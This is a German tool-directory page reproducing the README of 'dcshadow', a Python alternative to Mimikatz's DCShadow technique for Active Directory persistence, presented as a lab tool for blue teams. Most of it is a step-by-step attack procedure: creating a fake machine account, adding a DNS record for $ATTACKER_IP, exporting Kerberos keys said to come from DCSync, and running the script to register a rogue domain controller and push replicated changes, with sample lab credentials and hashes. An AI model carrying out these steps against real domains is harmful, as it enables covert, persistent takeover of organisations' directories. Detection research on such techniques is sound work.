Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dcshadow — Python-Alternative zu Mimikatz lsadump::dcshadow | Kitploit
Tools/GitHubGitHub/shutdownrepo/dcshadow
DefensivwerkzeugePersistenzmechanismenPost-ExploitationPenetrationstestsRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Python-Alternative zu Mimikatz lsadump::dcshadow

Repository anzeigen
162175vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

[!WARNING] NICHT IN PRODUKTION AUSFÜHREN. Dies ist für Labortests gedacht, damit Blue Teams an der Identifizierung von IoCs, Ereignistypen und Verhalten arbeiten können. Dieses Tool wird außerdem ohne jegliche Gewährleistung bereitgestellt. Abgesehen von der üblichen Überprüfung von Pull Requests, die du erstellen möchtest, ist kein Support geplant. Führe dies nicht von einem Windows-Host aus. Tue es von Linux oder von einer VM aus (um RPC-Dienstkonflikte zu vermeiden).

Theorie

Dieses Projekt soll eine reine Python-Alternative zur dcshadow-Technik von Mimikatz sein. Es enthält ein angepasstes Impacket mit modifizierten crypto, gssapi und drsuapi unter anderem.

DCShadow ist eine mächtige Persistenztechnik, die als Transport für andere Techniken angesehen werden kann, wie SID-Historie, KRBTGT RBCD, ACE-Missbrauch und mehr.

Dieses Tool könnte eine Grundlage für ein vielseitigeres AD-Persistenz-Framework sein, das von unserer Community genutzt werden könnte, um unsere globale Reife in diesem Bereich zu erhöhen.

Dieses Tool wurde auf GOAD getestet.

Praktische Anwendung

0. Installation

root@kitploit:~
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket

1. Maschinenkonto erstellen

Diese Maschine wird für die Dauer der Replikation als Domänencontroller registriert und am Ende wieder abgemeldet.

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] adcomputer.py ist so modifiziert, dass msDS-SupportedEncryptionTypes auf 0x1f gesetzt wird. Neueste Tests scheinen eine Einschränkungsverletzung (Constraint Violation) auszulösen.

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

Verwende vorerst das reguläre addcomputer.py-Skript von Impacket und ändere msDS-SupportedEncryptionTypes manuell über den ADSI-Editor.

2. DNS-Eintrag für die Maschine

Dies ist erforderlich, damit der legitime DC weiß, wie er den Rogue-DC erreichen kann, und Fehler vom Typ ERROR_DS_DNS_LOOKUP_FAILURE vermeidet.

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] Sollte der Befehl aus irgendeinem Grund nicht funktionieren, füge den DNS-Eintrag manuell über die DNS-Tools auf dem Domänencontroller hinzu.

3. Anmeldeinformationen des Rogue-DC

Als wir mit der Entwicklung dieses Tools begannen, verwendeten wir hartcodierte Anmeldeinformationen in einer .env-Datei, die in der Funktion gss_kerberos_ap_req in der Datei dcshadow/utils/server/RpcServer.py geladen wurden.

Das muss dringend verbessert werden. Das Passwort des Rogue-DC-Kontos könnte als CLI-Argument übergeben und die Kerberos-Schlüssel berechnet werden. Krbrelayx macht das bereits, ebenso dacledit.py; das müsste nur kopiert und eingefügt werden.

Derzeit musst du die Kerberos-Schlüssel als Umgebungsvariablen exportieren.

Es sollte wie folgt aussehen:

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

Diese Schlüssel können durch einen DCSync-Angriff abgerufen werden.

4. DCShadow (JSON-Datei)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] In diesem Fall wird eine repl.json-Datei verwendet, um die Zielobjekte und Attribute festzulegen. Alternativ unterstützt das Tool Inline-Optionen (z. B. --object, --attribute und --value).

Häufige Fehler

DRSReplicaAdd: Zeitüberschreitung

Wenn DRSReplicaAdd eine Zeitüberschreitung verursacht, handelt es sich wahrscheinlich um ein Netzwerk-/Firewall-Problem auf dem Computer, auf dem dcshadow.py läuft (dem Rogue-DC). Dieser lässt wahrscheinlich eingehenden Datenverkehr auf 135/TCP (epmapper) und 1337/TCP (oder in Zukunft einem dynamischen Port für drsuapi) nicht zu.

DRSReplicaAdd: rpc_s_access_denied

Du müsstest Wireshark auf dem legitimen Domänencontroller ausführen, aber die wahrscheinlichste Ursache ist, dass du dies auf einem Windows-Rechner auszuführen versuchst. Wenn der legitime DC den epmapper deines Rogue-DC nach dem Port des drsuapi-Endpunkts fragt, ist die Antwort leer, weil der epmapper deines eigenen Windows-Rechners antwortet und nicht unser benutzerdefinierter.

Danksagungen

Dieses Projekt wäre ohne die immense Hilfe von Alessandro Iandoli „MrAle98“ nicht möglich gewesen, einem talentierten Forscher, den ich während der Entwicklung kennengelernt habe. Danke, Alessandro!

Die Anerkennung gebührt Benjamin Delpy und Vincent Letoux für die ursprüngliche Entdeckung, Vorträge und die Implementierung in Mimikatz.

Ich möchte auch Volker danken, der an der frühen Entwicklung beteiligt war.

Dank an Dramelac für die Hilfe beim Übergang vom PoC zu einem modularen Projekt, einer Grundlage für ein zukünftiges Framework, falls es jemals so weit kommt.

Tool herunterladen